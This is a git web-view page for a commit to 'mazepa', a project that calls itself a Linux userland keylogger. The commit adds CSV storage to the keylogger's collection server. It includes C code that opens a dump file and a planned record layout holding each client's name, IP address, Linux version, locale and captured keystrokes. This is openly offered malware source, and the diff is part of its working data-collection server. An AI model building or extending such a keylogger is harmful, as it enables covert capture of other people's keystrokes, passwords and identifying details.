mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit e8031be3281c5fa80f6834542fba7e1187b23ef7
parent 98bc2594d0d346227d94f96c94ca7bfbc545a891
Author: djnn.sh <[email protected]>
Date: Sun, 14 Jan 2024 06:43:26 +0100

feat(server): adding initial csv support for key dumping

Diffstat:
Mserver/Makefile | 2+-
Mserver/includes/server.h | 10++++++++--
Aserver/sources/csv.c | 50++++++++++++++++++++++++++++++++++++++++++++++++++
Mserver/sources/lexxer.c | 7++++---
Mserver/sources/main.c | 5+++++
Mserver/sources/net.c | 3++-

6 files changed, 70 insertions(+), 7 deletions(-)

diff --git a/server/Makefile b/server/Makefile
@@ -28,7 +28,7 @@ OBJECT_DIR 		= ./objects
 vpath %$(PATTERN) $(SRC_DIR)
 
 MAIN		 	= main.c
-SRC 		 	= net.c lexxer.c
+SRC 		 	= net.c lexxer.c csv.c
 
 ########################
 #### COMPILATION #######
diff --git a/server/includes/server.h b/server/includes/server.h
@@ -8,6 +8,7 @@
 
 #define QUEUE_BUFFER_SIZE 1024
 #define STRING_BUFFER_SIZE 256
+#define MAX_NB_CLIENT 128
 
 /* meant for key translations from xkbcommon and the event we receive. :^) */
 typedef struct translated_key {
@@ -26,7 +27,7 @@ struct client_state {
   char current_buffer[STRING_BUFFER_SIZE];
   ssize_t nb_bytes_in_buffer;
 
-  /* client metadata */
+  /* client metadata dumped in database */
   char name[STRING_BUFFER_SIZE];
   char ipaddr[STRING_BUFFER_SIZE];
   char linux_version[STRING_BUFFER_SIZE];
@@ -42,7 +43,7 @@ typedef struct server_state {
   TAILQ_HEAD(listhead, client_state) clients;
 
   struct user_options {
-    char const db_filepath[STRING_BUFFER_SIZE]; // sqlite .db filepath
+    char const db_filepath[STRING_BUFFER_SIZE]; // .csv filepath
     unsigned short listen_port;
 
     /*
@@ -52,6 +53,8 @@ typedef struct server_state {
   } options;
 
   int sockfd;
+  int dbfd;
+
 } server_t;
 
 #define SUCCESSFUL 1
@@ -79,4 +82,7 @@ int init_remote_connection(server_t *instance);
 // lexxer.c
 int parse_cli_arguments(server_t *instance, int ac, char **av, char **envp);
 
+// csv.c
+int init_csv_dbfd(char const *filepath);
+
 #endif /* SERVER_H */
diff --git a/server/sources/csv.c b/server/sources/csv.c
@@ -0,0 +1,50 @@
+/*
+    Manages .csv logging here, so that it is easily sync'd up.
+
+TODO:
+    - add optional support for sqlite (maybe at compile-time) with an option
+    - build little abstraction that will call the under-layered functions
+underneath
+
+    simple layout will be:
+    uuid, name, ip-addr, linux-version, locale, dump
+*/
+
+#include "server.h"
+#include <fcntl.h>
+#include <unistd.h>
+
+int init_csv_dbfd(char const *filepath) {
+
+  if (!filepath || (!(*filepath)))
+    return -1;
+
+  /* obviously, we need to have a read-writable file */
+  int access_status = access(filepath, R_OK | W_OK);
+
+  /* file probably does not exist, let's create a file and return fd */
+  if (access_status == -1) {
+    int fd = open(filepath, O_CREAT | O_RDWR);
+#ifdef DEBUG
+    DEBUG_LOG("[+] created dbfd: %d\n", fd);
+#endif
+    return fd;
+  }
+
+  /* all good, lets just open & return */
+  if (access_status == 0) {
+    int fd = open(filepath, O_RDWR);
+#ifdef DEBUG
+    DEBUG_LOG("[+] opened existing dbfd: %d\n", fd);
+#endif
+    return fd;
+  }
+
+  /* incorrect perms is most likely */
+#ifdef DEBUG
+  DEBUG_LOG("[!] could not open %s: access() result: %d\n", filepath,
+            access_status);
+  DEBUG_LOG("incorrect file permissions is the most likely issue...\n");
+#endif
+  return -1;
+}
diff --git a/server/sources/lexxer.c b/server/sources/lexxer.c
@@ -15,13 +15,14 @@ const static struct option cli_options[] = {
 };
 
 static void get_help(const char *bin_name) {
-  printf("%s: mazepa keylogger server\n", bin_name);
+  printf("%s: mazepa keylogger server\n\n", bin_name);
   printf("USAGE:\n");
   printf("\t--listen-port [-p]: specifies server listening port\n");
-  printf("\t--db-path     [-d]: specifies sqlite .db filepath\n");
+  // TODO: use sqlite instead? cbf to be honest, but could be a good exercise
+  printf("\t--db-path     [-d]: specifies .csv filepath\n");
 
   printf("\t--help        [-h]: triggers help mode\n");
-  printf("\n\nwritten with <3 by djnn -- https://djnn.sh");
+  printf("\n\nwritten with <3 by djnn -- https://djnn.sh\n");
 }
 
 int parse_cli_arguments(server_t *instance, int ac, char **av,
diff --git a/server/sources/main.c b/server/sources/main.c
@@ -14,4 +14,9 @@ int main(int ac, char **av, char **envp) {
   }
 
   srv.sockfd = init_remote_connection(&srv);
+#ifdef DEBUG
+  DEBUG_LOG("[+] socket initiated....preparing DB connection");
+#endif
+
+  srv.dbfd = init_csv_dbfd((char const *)srv.options.db_filepath);
 }
diff --git a/server/sources/net.c b/server/sources/net.c
@@ -13,7 +13,8 @@
 int init_remote_connection(server_t *instance) {
 
 #ifdef DEBUG
-  DEBUG_LOG("Initiating remote connection with (localhost:%d)", SERVER_PORT);
+  DEBUG_LOG("Initiating remote connection with (localhost:%d)",
+            instance->options.listen_port);
 #endif
 
   /*